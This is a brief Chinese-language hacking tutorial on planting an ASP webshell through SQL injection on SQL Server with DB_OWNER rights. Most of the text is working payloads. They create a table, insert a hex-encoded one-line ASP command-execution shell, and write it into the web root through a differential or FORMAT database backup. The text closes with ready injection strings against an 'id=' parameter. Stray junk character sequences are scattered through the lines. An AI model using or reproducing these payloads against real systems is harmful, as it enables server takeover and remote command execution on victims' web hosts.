DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:

减少备份文件大小，得到可执行的webshell成功率提高不少
$ g5 l7 r; \# Q! [3 }一利用差异备份
加一个参数WITH DIFFERENTIAL
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) u4 ^# H5 J# H# H7 m declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
' Z0 H) b* w. o8 ncreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

; @* {: q4 F- S7 W1 k0 @二利用完全FORMAT
加一个参数WITH FROMAT
+ l4 q1 ?2 S$ T% t有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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( p: n8 q' L7 T- q! J declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
7 F. T2 V7 T: ?+ `# ucreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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3 u! ?* E7 R0 v. s; W/ t7 [总的来说就是那么简单几句,下面以备份数据库model为例子
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9 v0 X) `, i. H id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

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! x! I! [3 |8 i9 [# c2 L5 D id=1;backup database model to disk='你的路径‘ with differential,format;--